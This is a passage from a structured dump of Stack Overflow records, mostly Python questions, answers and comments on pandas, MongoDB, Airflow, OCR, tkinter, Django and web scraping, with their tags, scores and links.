# break # # i += 1 …
tagged with: http://stackoverflow.com/tag/html
has comment: http://stackoverflow.com/comment/84554075
favorite count: 0
score: -3
has title: Scraping Project Euler site with scrapy
tagged with: python
has answer: http://stackoverflow.com/a/48814417
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84546118
downvote count: 3
tagged with: web-scraping
tagged with: scrapy
type: Question
upvote count: 0
accepted answer: http://stackoverflow.com/a/48814417
answer count: 1

contour
tags question: http://stackoverflow.com/q/48723466
tag name: contour
type: Tag

http://stackoverflow.com/comment/84456267
score: 0
comment on: http://stackoverflow.com/q/48728626
type: Comment
type: QuestionComment
has text: Hi Mad man, I have commented each time why it failed in the updated code. The numpy solution fails, I can do it using pandas and using normal python (somewhat long and many lines) but I can not do it using numpy method. Thanks for suggestions though.

http://stackoverflow.com/q/48665104
downvote count: 0
score: 7
type: Question
tagged with: mongodb
answer count: 2
has answer: http://stackoverflow.com/a/66270640
upvote count: 7
favorite count: 0
has title: How to connect to mongodb with python
type: UnansweredQuestion
tagged with: python
has body: I tried connecting my application to my cluster on mongodb Atlas like the examples but I'm still having trouble. I used import pymongo client = pymongo.MongoClient('mongodb+srv://kay:myrealpassword@cluster0.mongodb.net/test') I replaced myrealpassword with my password and cluster0 with my cluster's name . This is the error i got : Traceback (most recent call last): File "", line 1, in File "/Library/Python/2.7/site-packages/pymongo/mongo_client.py", line 468, in init res = uri_parser.parse_uri(entity, port, warn=True) File "/Library/Python/2.7/site-packages/pymongo/uri_parser.py", line 399, in parse_uri nodes = _get_dns_srv_hosts(fqdn) File "/Library/Python/2.7/site-packages/pymongo/uri_parser.py", line 289, in _get_dns_srv_hosts raise ConfigurationError(str(exc)) pymongo.errors.ConfigurationError: None of DNS query names exist: _mongodb._tcp.saudimood.mongodb.net., _mongodb._tcp.saudimood.mongodb.net.Home.
has answer: http://stackoverflow.com/a/48672650

http://stackoverflow.com/comment/84307101
type: Comment
has text: @user1532587, yes, that's assuming `sec_rc` is a program you're running with the Python variable named `seq_rc` containing an argument to pass it to generate the content which should be readable via the file name passed to `-subject`; if there exists no `sec_rc` program it'll fail for the obvious reason. Replace appropriately for whatever you're actually trying to do, which I've been unable to deduce from the question.
type: AnswerComment
comment on: http://stackoverflow.com/a/48652700
score: 0

http://stackoverflow.com/comment/84432353
has text: if the index is datetime use `resample`, else use `grouper` with `freq="M"`.
comment on: http://stackoverflow.com/q/48716546
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/48648517
has title: filter pandas dataframe by two columns where one column is a list
has answer: http://stackoverflow.com/a/48648574
upvote count: 2
has answer: http://stackoverflow.com/a/48648700
possible better answer: http://stackoverflow.com/a/48648574
score: 2
type: AnsweredQuestion
type: Question
has answer: http://stackoverflow.com/a/48648560
downvote count: 0
favorite count: 0
tagged with: pandas
has body: I'm trying to filter a pandas dataframe by seeing if one columns of strings exists in a column of a list of strings. reproducible example: x = pd.DataFrame({'Letter':['a', 'b', 'c', 'd', 'e'], 'Alpha':[['a', 'z'], ['c', 'q', 'f'], 'c', 'e', ['e', 'q', 'm']]}) Alpha Letter 0 [a, z] a 1 [c, q, f] b 2 c c 3 e d 4 [e, q, m] e Trying to check if Letter is in Alpha. Expected Output: Alpha Letter 0 [a, z] a 2 c c 4 [e, q, m] e I've tried: x[x.Letter in x.Alpha] x[x.Letter.isin(x.Alpha)] x[x.Letter.any(x.Alpha)] was thinking of trying to use a generator to do something like [a for a in x if a.Letter in a.Alpha] If it's any help, I can change the starting point so that everything in Alpha is in a list, even if its just 1 letter. Any help is appreciated! Thanks
tagged with: python
answer count: 4
accepted answer: http://stackoverflow.com/a/48648560
has answer: http://stackoverflow.com/a/48648642

http://stackoverflow.com/comment/85008183
has text: @RenierBotha I have not used it. But how are you thinking of using it? I would like to try it out too if it can avoid changing the knowledge repo code.
comment on: http://stackoverflow.com/a/48964897
score: 0
type: AnswerComment
type: Comment

http://stackoverflow.com/a/48789432
type: Answer
has body: you can read it the file, store it in a string then parse the string and convert to float: with open(“testfile.txt”) as file: data = file.read() values = data.split(" ") floatValues = [float(x) for x in values] or you can use some parser from the numpy module or the csv reading files modules
has comment: http://stackoverflow.com/comment/84617041
score: 0
has comment: http://stackoverflow.com/comment/84580768
answers question: http://stackoverflow.com/q/48789294

http://stackoverflow.com/q/48692703
has title: A specific DAG stops running in Airflow, even when the scheduler is running fine
has body: My question is about a DAG that stops executing tasks, even though the scheduler appears to be running fine. I am running a remote Airflow server, version 1.8.0 on an Ubuntu EC2 instance. The scheduler is running LocalExecutor. I start the scheduler with airflow scheduler -D and everything seems to be working fine. All jobs execute dependably and externally trigger jobs triggered via an API call are working fine. My one glaring exception is that I have a job that we use to process site visit data that keeps on choking. Specifically, what happens it that the job says that it is running, but nothing is sent to the queue and no tasks actually run. In the UI, it just gets stuck in a status that look like this: A few tasks execute, the rest just get stuck in the queue, and the DAG lists itself a "running" indefinitely. What's puzzling, though, is that when I check system activity with htop the scheduler seems to be actively processing the task queue: "Out_of_Aurum_Task_X" indicate a task from the current DAG run. We can see from the task inventory, however, that these tasks are just stuck in "queued" without actually running: I have checked /logs and everything looks good. There are no errors or warning popping up in either specific task logs or in airflow-scheduler.log I'm stumped. What's breaking my DAG and how can I fix it? In case this information is relevant, I am connecting to MySQL DBs via a combination of MySQL hooks from airflow and connections defined within some custom classes using sqlalchemy. If I repeatedly close and restart the scheduler eventually the job completes, but obviously this isn't ideal behavior. Is this a meta data issue? Should I follow the steps here to wipe out and re-start the metaDB? UPDATE I started killing ghost processes one at time with kill -9 PID. As I was doing this I noticed that a whole bunch of fresh processes appeared, and indeed the DAG started to run again. Just another piece of information.
tagged with: mysql
type: Question
answer count: 1
tagged with: airflow
downvote count: 0
linked to: http://stackoverflow.com/q/46183054
tagged with: python
favorite count: 0
score: 2
upvote count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48694948

http://stackoverflow.com/a/48756810
answers question: http://stackoverflow.com/q/48756733
type: Answer
upvote count: 4
downvote count: 0
has comment: http://stackoverflow.com/comment/84525885
has comment: http://stackoverflow.com/comment/84516847
score: 4
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48756733
has body: You're coming from the wrong direction. You can use binary[::-1] or reversed(binary) to reverse the array. binary = "10111" denary = 0 for i, d in enumerate(reversed(binary)): if d == "1": denary += (2**i) print(denary) Also note that you can do this: denary = int(binary, 2) # Parses string on base 2 to integer base 10 print(denary)

http://stackoverflow.com/q/48727964
accepted answer: http://stackoverflow.com/a/48728013
answer count: 2
tagged with: pandas
has comment: http://stackoverflow.com/comment/84454981
has comment: http://stackoverflow.com/comment/84454880
possible better answer: http://stackoverflow.com/a/48729002
has answer: http://stackoverflow.com/a/48729002
has body: I have a dictionary like this: Dict={'A':0.0697,'B':0.1136,'C':0.2227,'D':0.2725,'E':0.4555} I want my output like this: Return A,B,C,D,E if the value in my dataframe is LESS THAN 0.0697,0.1136,0.2227,0.2725,0.4555 respectively; else return F I tried: TrainTest['saga1'] = TrainTest['saga'].apply(lambda x,v: Dict[x] if x&lt;=v else 'F') But it returns an error: TypeError: &lt;lambda&gt;() takes exactly 2 arguments (1 given)
has title: How to pass condition into lambda?
tagged with: python
tagged with: lambda
type: AnsweredQuestion
score: 0
type: Question
has answer: http://stackoverflow.com/a/48728013
has comment: http://stackoverflow.com/comment/84454905

http://stackoverflow.com/comment/84333807
type: Comment
comment on: http://stackoverflow.com/a/48667848
has text: Thanks, seems to be exactly what I need
score: 0
type: AnswerComment

http://stackoverflow.com/q/48715552
has answer: http://stackoverflow.com/a/48715612
answer count: 1
downvote count: 0
has comment: http://stackoverflow.com/comment/84430818
has comment: http://stackoverflow.com/comment/84430414
has comment: http://stackoverflow.com/comment/84430421
has comment: http://stackoverflow.com/comment/84430368
has comment: http://stackoverflow.com/comment/84430422
favorite count: 0
accepted answer: http://stackoverflow.com/a/48715612
linked to: http://stackoverflow.com/q/25753474
has comment: http://stackoverflow.com/comment/84430394
tagged with: python
has body: I just stumbled upon the following line in Python 3. 1 in range(2) == True I was expecting this to be True since 1 in range(2) is True and True == True is True. But this outputs False. So it does not mean the same as (1 in range(2)) == True. Furthermore it does not mean the same as 1 in (range(2) == True) which raises an error. Despite years of experience in Python, I am taken off guard. What is going on?
duplicate of: http://stackoverflow.com/q/25753474
has comment: http://stackoverflow.com/comment/84430352
type: AnsweredQuestion
tagged with: python-3.x
type: Question
has comment: http://stackoverflow.com/comment/84430569
upvote count: 9
has title: What does x in range(...) == y mean in Python 3?
score: 9
duplicate of: http://stackoverflow.com/q/6074018
has comment: http://stackoverflow.com/comment/84430676
duplicate of: http://stackoverflow.com/q/38296689

http://stackoverflow.com/q/48699357
tagged with: python
type: AnsweredQuestion
type: Question
has body: I have fitted a curve using lmfit but the trendline/curve is short. Please how do I extend the trendline/curve in both directions because the trendline/curve is hanging. Sample codes are warmly welcome my senior programmers. Thanks.
has answer: http://stackoverflow.com/a/48707014
has title: Extending a trendline in a lmfit plot
score: 0
answer count: 1
accepted answer: http://stackoverflow.com/a/48707014
tagged with: lmfit

http://stackoverflow.com/comment/131194401
type: AnswerComment
score: 0
type: Comment
comment on: http://stackoverflow.com/a/48647840
has text: @BENY: Could you kindly look at [this](https://stackoverflow.com/questions/74304935/comparing-two-dataframes-and-isolating-similar-data-rows-between-them-using-pa) please?

http://stackoverflow.com/q/48699709
type: UnansweredQuestion
tagged with: python
tagged with: ocr
answer count: 0
downvote count: 0
score: 1
tagged with: image-processing
has body: For eg, the content beneath Article Info and Abstract are being considered as one single paragraph by Tesseract OCR. This is interfering with the selection of text later on. After I fiddled around with some image processing steps (Gaussian Blur, Erosion followed by Dilation), I had managed to separate them somehow. image = cv2.imread(file) gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY) kernel = np.ones((2,2),np.uint8) gray = cv2.GaussianBlur(gray,(5,5),0) gray = cv2.GaussianBlur(gray,(5,5),0) gray = cv2.adaptiveThreshold(gray,255,cv2.ADAPTIVE_THRESH_GAUSSIAN_C,cv2.THRESH_BINARY,11,2) gray = cv2.erode(gray, kernel, iterations=1) gray = cv2.dilate(gray,kernel,iterations = 1) cv2.imwrite( file.split('.')[0]+"_process.TIF", gray); I do not understand how this altered segmentation, but it doesn't work right in every case. What could I do to get the segmentation right? Must I try any specific Image processing techniques? Thank You Page segmentation viewed using PAGEViewer by PRImA EDIT: Added orginal image
tagged with: text-segmentation
type: Question
tagged with: tesseract
has comment: http://stackoverflow.com/comment/84401306
has title: How to correct page segmentation by Tesseract OCR using image processing?
has comment: http://stackoverflow.com/comment/84404780
upvote count: 1
favorite count: 0

http://stackoverflow.com/q/48794608
has comment: http://stackoverflow.com/comment/84591511
answer count: 1
has body: num = float(input('Enter a positive number: ') if (num &lt; 0): print("Sorry, factorial does not exist for negative numbers") elif (num == 0): print("The factorial of 0 is 1.") else: for i in range(1,num + 1): factorial = factorial * i print("The factorial of",num,"is",factorial)
has comment: http://stackoverflow.com/comment/84591534
favorite count: 0
has title: I'm getting a syntax error where the colon is after "if (num < 0)"
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84592671
downvote count: 2
type: Question
has answer: http://stackoverflow.com/a/48795238
score: -2
upvote count: 0

http://stackoverflow.com/q/48767722
has title: Django: Include template with variables rendered from views.py into another template
type: AnsweredQuestion
tagged with: django
has body: I have a template plot.html inside app plot: &lt;div&gt; &lt;/div&gt; some other divs here The plot variable is calculated from views.py inside app plot: class RenderView(TemplateView): def __init__(self): self.template_name = "plot.html" def get_context_data(self, **kwargs): context = super(RenderView, self).get_context_data(**kwargs) context['plot'] = PlotView().make_plot() return context Now I want to include this template with the generated plot and other divs into another template from another app, another.html: {% include "plot.html" %} of course this does not generate the plot and other info from the views.py file. I've been reading about template tags (https://docs.djangoproject.com/en/2.0/howto/custom-template-tags/), but I'm unsure what goes into poll_extras.py there or if tags is the right solution.
accepted answer: http://stackoverflow.com/a/48767741
type: Question
score: 0
answer count: 1
has answer: http://stackoverflow.com/a/48767741
tagged with: python
tagged with: templates

http://stackoverflow.com/comment/84437183
type: QuestionComment
has text: Yes, but your terminology is off. The class is the code and the object is an instance of running that code. The thing you want to create is apparently an object, not a class (i.e. not new code. That would have been kind of interesting, actually!)
type: Comment
score: 0
comment on: http://stackoverflow.com/q/48718826

http://stackoverflow.com/comment/84379988
type: AnswerComment
comment on: http://stackoverflow.com/a/48647582
type: Comment
has text: Unknown encoding means your file contains characters which are not recognized by any inbuilt encoding methods. Refer below link to find encoding for your file https://stackoverflow.com/questions/3710374/get-encoding-of-a-file-in-windows
score: 0

http://stackoverflow.com/q/48744677
score: 0
answer count: 2
tagged with: pandas-groupby
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/48745155
favorite count: 0
tagged with: python
tagged with: dictionary
has comment: http://stackoverflow.com/comment/84489330
linked to: http://stackoverflow.com/q/29794959
has title: Python pandas groupby by dictionary
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/48745303
has body: I have the following problem. In a pandas data frame I have one column with all the full words and abbreviations. The second column comes with some floats. polarity crypto_match_1 data frame new_dict I want to groupby() this columns by its words &amp; abbreviations through a dictionary. However the function groups the words and abbreviations separately. crypto_ranking = dataframe_crypto.set_index('crypto_match_1').groupby(by=new_dict,axis=0).mean().reset_index()
type: Question

http://stackoverflow.com/a/48701479
score: 1
upvote count: 1
has body: According to documentation I need to install AsyncIOMainLoop before startup application, not when I'm making app. documentation from tornado.platform.asyncio import AsyncIOMainLoop import asyncio AsyncIOMainLoop().install() asyncio.get_event_loop().run_forever() So now I'm sure that proper way is using AsyncIOMainLoop installation into start_app() code. So now my pattern code looks like: web1.py class MainHandler(tornado.web.RequestHandler): async def get(self, *args, **kwargs): await asyncio.sleep(1) return self.write("OK") async def post(self, *args, **kwargs): await asyncio.sleep(1) return self.write("OK") def make_app(): return tornado.web.Application([(r"/", MainHandler),], debug=False) def start_app(): from tornado.platform.asyncio import AsyncIOMainLoop import asyncio AsyncIOMainLoop().install() app = make_app() app.listen(8888) asyncio.get_event_loop().run_forever() if __name__ == "__main__": start_app() test_app.py from tornado.testing import AsyncHTTPTestCase import web1 class TestTornadoAppBase(AsyncHTTPTestCase): def get_app(self): return web1.make_app() def get_new_ioloop(self): """ Needed to make sure that I can also run asyncio based callbacks in my tests """ io_loop = tornado.platform.asyncio.AsyncIOLoop() asyncio.set_event_loop(io_loop.asyncio_loop) return io_loop class TestGET(TestTornadoAppBase): def test_root_get_method(self): response = self.fetch("/") self.assertEqual(response.code, 200) self.assertEqual(response.body.decode(), 'OK') def test_root_post_method(self): response = self.fetch("/", method="POST", body="{}") self.assertEqual(response.code, 200) self.assertEqual(response.body.decode(), 'OK') This pattern works as well, and during tests AsyncIOMainLoop is used. So I can use libraries those use asyncio loop. In my example there is asyncio.sleep() for example.
downvote count: 0
answers question: http://stackoverflow.com/q/48693132
type: Answer
has comment: http://stackoverflow.com/comment/84445018

http://stackoverflow.com/comment/84554667
type: QuestionComment
has text: @jwodder this is a very big system and which I have no control of. my assignment is is to write a application which show coverage of the system in a smart way
score: 0
comment on: http://stackoverflow.com/q/48776116
type: Comment

http://stackoverflow.com/a/48681782
upvote count: 1
answers question: http://stackoverflow.com/q/48681655
has body: Have you tried anything yet or you are yet to start and need help with starting? Google has client libraries for Python https://github.com/googlemaps/google-maps-services-python Part of which are documentation, and in that documentation you find that when using a client library what you essentially get is way to make requests to the Google Maps API (and its subsets) Here you need the Distance Matrix API https://maps.googleapis.com/maps/api/directions/json?origin=Toronto&amp;destination=Montreal&amp;key=YOUR_API_KEY Pass in the value for the origin and destination parameters, and of course the API key, then use the client library to make requests. Use the returned data to your benefit.
type: Answer
has comment: http://stackoverflow.com/comment/84361745
downvote count: 0
score: 1
has comment: http://stackoverflow.com/comment/84363871

http://stackoverflow.com/a/48768463
upvote count: 5
type: Answer
has comment: http://stackoverflow.com/comment/84537639
downvote count: 0
score: 5
has body: So I don't know why our intercept values differ (maybe I have made a mistake or your given data is not the full data you expect to work on), but I'd suggest you to use np.polyfit or the tool of your choice (scikit-learn, scipy.stats.linregress, ...) in combination with groupby and apply: In [25]: df.groupby("SysNr").apply(lambda g: np.polyfit(g.RegnskabsAar, g.res_f_r, 1)) Out[25]: SysNr 1 [49999.99999999048, -100349999.99998075] 2 [-49999.99999999045, 101049999.99998072] dtype: object After that, beautify it: In [43]: df.groupby("SysNr").apply( ...: lambda g: np.polyfit(g.RegnskabsAar, g.res_f_r, 1)).apply( ...: pd.Series).rename(columns={0:'slope', 1:'intercept'}).reset_index() Out[43]: SysNr slope intercept 0 1 50000.0 -1.003500e+08 1 2 -50000.0 1.010500e+08 Edit: Because you asked on the other answer in the comment about how to handle missing years for some SysNr: Just drop that NaNs for a valid linear regression. Of course you could also fill them with the mean or so, depending on what you want to achieve, but that isn't that helpful from my point of view. If the entity has only data for one year, you can't apply a linear regression on that usefully. But you can (if you want and that fits your case, please provide more information on the data if needed) extrapolate somehow the slope of the other entities to this one and calculate the intercept. For that of course you must make some assumptions on the distribution of the slope of the entities (e.g. linear, then the slope of sysNr 3 would be -150000.0).
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/48767977
answers question: http://stackoverflow.com/q/48767977
has comment: http://stackoverflow.com/comment/84564499

http://stackoverflow.com/q/48753255
has comment: http://stackoverflow.com/comment/84507337
tagged with: index-error
type: Question
upvote count: 4
answer count: 2
has title: What is 'IndexError: list index out of range'?
has answer: http://stackoverflow.com/a/48760765
has answer: http://stackoverflow.com/a/48753356
duplicate of: http://stackoverflow.com/q/1098643
has comment: http://stackoverflow.com/comment/84507135
favorite count: 0
type: UnansweredQuestion
downvote count: 2
tagged with: python
linked to: http://stackoverflow.com/q/5653533
has body: This is my code: from tkinter import messagebox, simpledialog, Tk def is_even(number): return number % 2 == 0 def get_even_letters(message): even_letters = [] for counter in range(0, len(message)): if is_even(counter): even_letters.append(message[counter]) return even_letters def get_odd_letters(message): odd_letters = [] for counter in range(0, len(message)): if not is_even(counter): odd_letters.append(message[counter]) return odd_letters def swap_letters(message): letter_list = [] if not is_even(len(message)): message = message + 'x' even_letters = get_even_letters(message) odd_letters = get_odd_letters(message) for counter in range(0, int(len(message)/2)): letter_list.append(odd_letters[counter]) letter_list.append(even_letters[counter]) new_message = ''.join(letter_list) return new_message def get_task(): task = simpledialog.askstring('Task', 'Do you want to encrypt or decrypt?') return task def get_message(): message = simpledialog.askstring('Message', 'Enter the secret message') return message root = Tk() while True: task = get_task() if task == 'encrypt': message = get_message() encrypted = swap_letters(message) messagebox.showinfo('Ciphertext of the secret message is:', encrypted) elif task == 'decrypt': message = get_message() decrypted = swap_letters(message) messagebox.showinfo('Plain text of the secret message is: ', decrypted) else: break root.mainloop() Currently using IDLE, Python 3.6.3. Whenever I run the program, the first prompt works, 'encrypt', but when I get to the 'Enter the secret message' prompt, if I type anything with more than 2 letters, it gives me the error: Traceback (most recent call last): File "/Users/richarddao/Documents/secret_message.py", line 46, in &lt;module&gt; encrypted = swap_letters(message) File "/Users/richarddao/Documents/secret_message.py", line 28, in swap_letters letter_list.append(even_letters[counter]) IndexError: list index out of range What is IndexError: list index out of range? How do I fix this?
linked to: http://stackoverflow.com/q/1098643
score: 2

http://stackoverflow.com/comment/84535559
comment on: http://stackoverflow.com/q/48741561
score: 0
type: Comment
type: QuestionComment
has text: just comment logic with `ftp` and make sure that `open(save_path + file, 'wb').write` works fine. path is exists, file was created etc..

http://stackoverflow.com/comment/85276231
comment on: http://stackoverflow.com/a/48709142
type: Comment
has text: Pycharm's parameter info interprets `Union[str, ET.Element]` as [`Union[str, Element, Element]`](https://i.sstatic.net/8Trmd.png).
score: 0
type: AnswerComment

http://stackoverflow.com/a/48803084
score: 2
answers question: http://stackoverflow.com/q/48801709
has body: As usual it depends on what exactly are you modelling. If you're modelling the domain you should probably rule out the data handler completely. Also the back-reference is irrelevant and can be ignored. If you're documenting your code, showing both data handler and back-reference is fine since those are also elements manipulated by the system. Back-reference would be backward navigability if you had a direct relationship. Since it is indirect, you might want to show all elements contained in the xml as shared aggregation with xml-handler being a master end (with diamond). Mark it as derived on both ends (with a slash). Mark navigability from object to a containing it handler. If you want to show just the reference without going into the actual fact of being contained use a simple association rather than shared aggregation. You should alsomark it as derived. The same applies for back-reference between Constrain and Simulation.
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/84625462
upvote count: 2
type: Answer
accepted answer of: http://stackoverflow.com/q/48801709

http://stackoverflow.com/q/48757284
has title: How to delete buttons or labels from a tkinter window in python 3
linked to: http://stackoverflow.com/q/12364981
type: UnansweredQuestion
duplicate of: http://stackoverflow.com/q/12364981
has body: I was recently working on a simple game in python 3 which involves tkinter. I encountered a significant problem. I can not figure out how to delete a label or button from a tkinter window in Python 3.5.2. If you know how please answer. Thanks!
favorite count: 0
tagged with: python-3.x
has answer: http://stackoverflow.com/a/48757324
tagged with: tkinter
type: Question
upvote count: 2
downvote count: 2
answer count: 2
tagged with: python
score: 0
has answer: http://stackoverflow.com/a/48757332

http://stackoverflow.com/q/48705186
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/66081972
has body: I am creating a file server in python using ftp sockets where multiple clients send images to a server. This is the method I am using to receive the image on the server side: while True: data = client.recv(512) if not data: break file.write(data) And this is the method I am using to send the image to the server: while True: data = file.read(512) if not data: break server.send(data) The problem I am running into is that on the server side the while loop is never exited which means the code is either stuck in the recv call or the if statement is never true. On the client side there are no problems, the loop is exited properly. I've heard that the client side will send something to the server to tell it to stop but the if statement doesn't seem to pick it up. How can I get the server to stop trying to receive without closing the connection?
type: Question
tagged with: sockets
has title: How to tell when client is done sending image
tagged with: python
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/48705472

iptables
type: Tag
tag name: iptables
tags question: http://stackoverflow.com/q/48737953

http://stackoverflow.com/q/48727150
tagged with: beautifulsoup
tagged with: http://stackoverflow.com/tag/csv
has comment: http://stackoverflow.com/comment/84453611
tagged with: python
has comment: http://stackoverflow.com/comment/84453397
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/84453307
has comment: http://stackoverflow.com/comment/84453390
score: 1
upvote count: 1
type: Question
has answer: http://stackoverflow.com/a/48727218
has title: Python 2.7: Put extracted data from URL in a CSV file
tagged with: python-2.7
has comment: http://stackoverflow.com/comment/84453344
answer count: 1
downvote count: 0
has body: This is my first time using Python 2.7, I do like it. However, I am trying to figure out how I can put extracted data from the URL into a CSV file. I found this tutorial, but when I run my script: # import libraries import csv import urllib2 from bs4 import BeautifulSoup # specify the url quote_page = 'http://www.bkfrem.dk/default.asp?id=19' # query the website and return the html to the variable ‘page’ page = urllib2.urlopen(quote_page) # parse the html using beautiful soup and store in variable soup soup = BeautifulSoup(page, 'html.parser') # create CSV file csvfile = csv.writer(open('firsteam.csv', 'w')) csvfile.writerow(["Name", "Position"]) # take out the &lt;div&gt; of name and get its value items = soup.find_all('div', attrs={'class': 'visTruppenContainer'}) for i in range(len(items)): playerInfo = items[i].getText(separator=u' ') imageURL = items[1].find('img')['src'] csvfile.writerow([playerInfo, imageURL]) print (playerInfo) print (imageURL) I get this error: Traceback (most recent call last): File "C:/Users/User/Desktop/script2.py", line 26, in &lt;module&gt; csvfile.writerow([playerInfo, imageURL]) UnicodeEncodeError: 'ascii' codec can't encode character u'\xe5' in position 27: ordinal not in range(128) What am I doing wrong? Do I have to convert the data before writing to the CSV file?
accepted answer: http://stackoverflow.com/a/48727218
favorite count: 0

http://stackoverflow.com/comment/84451376
score: 0
type: QuestionComment
type: Comment
comment on: http://stackoverflow.com/q/48724838
has text: If `eve.py` and `event.py` are in the same directory, then shouldn't you be importing it with `from event import eventCall` ?

pypyodbc
tags question: http://stackoverflow.com/q/48666075
tags question: http://stackoverflow.com/q/48714075
tags question: http://stackoverflow.com/q/48777070
tag name: pypyodbc
type: Tag

http://stackoverflow.com/comment/84568646
has text: @Nae Oh I see. Yes they do. Thank you. I'll edit my post later.
score: 1
comment on: http://stackoverflow.com/a/48735202
type: AnswerComment
type: Comment

http://stackoverflow.com/q/48730866
type: Question
accepted answer: http://stackoverflow.com/a/48730941
tagged with: ssl
answer count: 1
downvote count: 0
has title: Python: urllib.error.HTTPError: HTTP Error 525: Origin SSL Handshake Error
favorite count: 0
has answer: http://stackoverflow.com/a/48730941
tagged with: python
type: AnsweredQuestion
has body: I am using Python 3 to crawl many web pages on one website with urllib.request.build_opener. Each web_page_url is opened like below: _masterOpener = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(CookieJar())) _masterOpener.addheaders = [('Cookie', some_cookie)] request = _masterOpener.open(web_page_url) content = request.read() It always works smoothly when crawling the first hundreds of pages for about 10 minutes (I tried a few times), and then an error like below occurs: File "D:\ProgramData\Anaconda3\lib\urllib\request.py", line 532, in open response = meth(req, response) File "D:\ProgramData\Anaconda3\lib\urllib\request.py", line 642, in http_response 'http', request, response, code, msg, hdrs) File "D:\ProgramData\Anaconda3\lib\urllib\request.py", line 570, in error return self._call_chain(*args) File "D:\ProgramData\Anaconda3\lib\urllib\request.py", line 504, in _call_chain result = func(*args) File "D:\ProgramData\Anaconda3\lib\urllib\request.py", line 650, in http_error_default raise HTTPError(req.full_url, code, msg, hdrs, fp) urllib.error.HTTPError: HTTP Error 525: Origin SSL Handshake Error I searched on the Web and failed to find a solution. How to solve the problem 'urllib.error.HTTPError: HTTP Error 525: Origin SSL Handshake Error' as described?
score: 1
upvote count: 1
tagged with: urllib

http://stackoverflow.com/comment/84333121
has text: are you referring to this link: http://docs.h2o.ai/h2o/latest-stable/h2o-docs/data-science/stacked-ensembles.html?
score: 0
type: Comment
comment on: http://stackoverflow.com/q/48656028
type: QuestionComment

beautifulsoup
tags question: http://stackoverflow.com/q/48771739
tags question: http://stackoverflow.com/q/48720888
tags question: http://stackoverflow.com/q/48747096
tags question: http://stackoverflow.com/q/48793270
tags question: http://stackoverflow.com/q/48668255
tags question: http://stackoverflow.com/q/48699921
tags question: http://stackoverflow.com/q/48649012
tags question: http://stackoverflow.com/q/48785900
tags question: http://stackoverflow.com/q/48787968
tags question: http://stackoverflow.com/q/48788552
tags question: http://stackoverflow.com/q/48675469
tag name: beautifulsoup
tags question: http://stackoverflow.com/q/48736326
tags question: http://stackoverflow.com/q/48733334
tags question: http://stackoverflow.com/q/48756133
tags question: http://stackoverflow.com/q/48773942
tags question: http://stackoverflow.com/q/48717962
tags question: http://stackoverflow.com/q/48667705
tags question: http://stackoverflow.com/q/48748014
tags question: http://stackoverflow.com/q/48769729
tags question: http://stackoverflow.com/q/48737755
tags question: http://stackoverflow.com/q/48740164
tags question: http://stackoverflow.com/q/48687362
tags question: http://stackoverflow.com/q/48692345
tags question: http://stackoverflow.com/q/48763190
tags question: http://stackoverflow.com/q/48773864
tags question: http://stackoverflow.com/q/48722571
tags question: http://stackoverflow.com/q/48707855
tags question: http://stackoverflow.com/q/48674254
tags question: http://stackoverflow.com/q/48736437
tags question: http://stackoverflow.com/q/48689794
tags question: http://stackoverflow.com/q/48795945
tags question: http://stackoverflow.com/q/48803021
tags question: http://stackoverflow.com/q/48649643
tags question: http://stackoverflow.com/q/48778094
tags question: http://stackoverflow.com/q/48780530
tags question: http://stackoverflow.com/q/48771361
tags question: http://stackoverflow.com/q/48725284
tags question: http://stackoverflow.com/q/48787141
tags question: http://stackoverflow.com/q/48665960
type: Tag
tags question: http://stackoverflow.com/q/48655781
tags question: http://stackoverflow.com/q/48769638
tags question: http://stackoverflow.com/q/48712181
tags question: http://stackoverflow.com/q/48658659
tags question: http://stackoverflow.com/q/48751302
tags question: http://stackoverflow.com/q/48778818
tags question: http://stackoverflow.com/q/48714168
tags question: http://stackoverflow.com/q/48801835
tags question: http://stackoverflow.com/q/48728457
tags question: http://stackoverflow.com/q/48802611
tags question: http://stackoverflow.com/q/48686724
tags question: http://stackoverflow.com/q/48695168
tags question: http://stackoverflow.com/q/48800052
tags question: http://stackoverflow.com/q/48726747
tags question: http://stackoverflow.com/q/48786849
tags question: http://stackoverflow.com/q/48727150
tags question: http://stackoverflow.com/q/48794294
tags question: http://stackoverflow.com/q/48745678
tags question: http://stackoverflow.com/q/48760129
tags question: http://stackoverflow.com/q/48722703
tags question: http://stackoverflow.com/q/48650210
tags question: http://stackoverflow.com/q/48672245
tags question: http://stackoverflow.com/q/48736293
tags question: http://stackoverflow.com/q/48732403
tags question: http://stackoverflow.com/q/48783108
tags question: http://stackoverflow.com/q/48677527
tags question: http://stackoverflow.com/q/48754490
tags question: http://stackoverflow.com/q/48724247
tags question: http://stackoverflow.com/q/48675179
tags question: http://stackoverflow.com/q/48722980
tags question: http://stackoverflow.com/q/48767044
tags question: http://stackoverflow.com/q/48726456
tags question: http://stackoverflow.com/q/48694917
tags question: http://stackoverflow.com/q/48756326
tags question: http://stackoverflow.com/q/48693388
tags question: http://stackoverflow.com/q/48736901
tags question: http://stackoverflow.com/q/48699335
tags question: http://stackoverflow.com/q/48717001

http://stackoverflow.com/q/48760136
score: 0
has comment: http://stackoverflow.com/comment/84521101
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/84555627
answer count: 0
has body: I am trying to read a specific value from a data table and assign it to a variable. These .data tables have two separators: a space and a tab. Each table contains values from an individual cell that I need to assign to a variable (I made a for loop already but I need the variables to be assigned). I am unsure which module to use to complete this task.
type: Question
has title: How can I read a specific value from a .data table in python?

http://stackoverflow.com/comment/84426130
has text: Add the code you are using to print what you get right now
score: 0
comment on: http://stackoverflow.com/q/48713522
type: QuestionComment
type: Comment

http://stackoverflow.com/q/48647534
has answer: http://stackoverflow.com/a/55973922
answer count: 19
tagged with: pandas
has answer: http://stackoverflow.com/a/66145112
